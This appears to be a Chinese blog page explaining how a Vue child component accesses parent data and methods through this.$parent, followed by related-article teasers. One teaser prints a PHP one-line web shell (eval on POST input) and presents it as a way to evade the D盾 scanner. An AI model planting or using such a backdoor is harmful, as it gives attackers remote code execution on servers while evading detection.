vue--子组件主动获取父组件的数据和方法
子组件主动获取父组件的数据和方法
简单示例:
this.$parent.数组
this.$parent.方法
示例:
<template>
<div id="Header">
<p>我是一个头部组件</p>
<input type="button" value="获取父组件的属性和方法" @click="getParent()">
</div>
</template>
<script>
export default {
name: 'HelloWorld',
data () {
return {
text:'我是子组件的属性'
}
},
methods:{
run(){
alert('我是子组件的方法');
},
getParent(){
alert(this.$parent.msg); // 获取父组件的方法
this.$parent.run(); // 获取父组件的的方法
}
},
}
</script>
vue--子组件主动获取父组件的数据和方法的更多相关文章
- vue 父组件主动获取子组件的数据和方法 子组件主动获取父组件的数据和方法
Header.vue <template> <div> <h2>我是头部组件</h2> <button @click="getParen ...
- Vue 父组件主动获取子组件的值,子组件主动获取父组件的值
父组件主动获取子组件的值 1. 在调用子组件的时候定义一个ref-> ref="header"2. 在父组件中通过this.$refs.header.属性,调用子组件的属性, ...
- vue.js 父组件主动获取子组件的数据和方法、子组件主动获取父组件的数据和方法
父组件主动获取子组件的数据和方法 1.调用子组件的时候 定义一个ref <headerchild ref="headerChild"></headerchild& ...
- vue组件通信之父组件主动获取子组件数据和方法
ref 可以用来获取到dom节点,如果在组件中应用,也可以用来获取子组件的数据和方法. 比如,我定义了一个home组件,一个head组件,home组件中引用head组件. 此时,home组件是head ...
- 子组件获取父组件数据 propsDown, 父组件获取子组件数据 eventUp
(一) popsDowm 三种方法获取父组件数据:被动获得(1):主动获取(2). 1.被动获得: 父组件:v-bind: 绑定变量参数和方法参数:子组件:props 接收参数.可以在模板中直接使用也 ...
- Vue父组件主动获取子组件的数据和方法
Vue父组件主动获取子组件的数据和方法 https://www.jianshu.com/p/bf88fc809131
- vue--父组件主动获取子组件的方法
父组件主动获取子组件的方法和属性 第一步:调用自组件的时候,给自组建定义一个Header <v-header ref='headerInfo'></v-header> 第二步: ...
- VUE里子组件获取父组件动态变化的值
在VUE里父组件给子组件间使用props方式传递数据,但是希望父组件的一个状态值改变然后子组件也能监听到这个数据的改变来更新子组件的状态. 场景:子组件通过props获取父组件传过来的数据,子组件存在 ...
- 九、React中的组件、父子组件、React props父组件给子组件传值、子组件给父组件传值、父组件中通过refs获取子组件属性和方法
一.概述 React中的组件: 解决html 标签构建应用的不足. 使用组件的好处:把公共的功能单独抽离成一个文件作为一个组件,哪里里使用哪里引入. [父子组件]:组件的相互调用中,我们把调用者称为父 ...
随机推荐
- Eclipse中项目全部报错----项目全部打红叉的解决办法
今天遇到一个超级郁闷的事情,Eclipse新建的项目全部都打有红叉,我起初以为自 己可能是因为这两天一直在配置NDK开发环境方面的东西,是不是一不小心把那个地方给配置了,然后新建项目时项目都会出现红叉 ...
- [转]好文章:Android的AlertDialog详解
refer:http://www.2cto.com/kf/201205/131876.html AlertDialog的构造方法全部是Protected的,所以不能直接通过new一个AlertDial ...
- QT编译错误:Project ERROR: This example requires Qt to be configured with -opengl desktop
学习QT场景视图,对一个Boxes的例子比较感兴趣,于是去编译学习,结果编译不能通过(使用的是QT5.12): Project ERROR: This example requires Qt to b ...
- 浅谈Java的学习
Java就是用来做项目的!Java的主要应用领域就是企业级的项目开发!要想从事企业级的项目开发,你必须掌握如下要点: 1.掌握项目开发的基本步骤2.具备极强的面向对象的分析与设计技巧3.掌握用例驱动. ...
- Java -- 异常的捕获及处理 -- Java的异常处理机制
7.1.4 Java的异常处理机制 在整个Java的异常处理中,实际上也是按照面向对象的方式进行处理,处理的步骤如下: ⑴ : 一旦产生异常,则首先会产生一个异常类的实例化对象. ⑵ : 在try语句 ...
- web -- 前端访问后台跨区问题解决
package com.xindatai.ibs.web.filter; import java.io.IOException; import javax.servlet.Filter; import ...
- [AX]AX2012 Interaction class
Ax2012 Client的form如果属性FormTemplate设置为DetailsPage或者ListPage,则必须同时设置属性InteractionClass为相应的Interaction类 ...
- mongodb常用操作命令(待续)
1. 开启mongodb命令 >mongo 默认链接到test数据库 2. 显示所有数据库>show dbs 3.切换数据库>use 数据库名 4.查找数据库里某张表的所有成员> ...
- 绕过D盾的一句话
一个很简单的一个技巧,作个笔记,可以绕过D盾检测. 新建test1.php <?php eval($_POST[g]); ?> 新建test2.php <?php $a=" ...
- 【RF库Collections测试】Keep In Dictionary
Name:Keep In DictionarySource:Collections <test library>Arguments:[ dictionary | *keys ]Keeps ...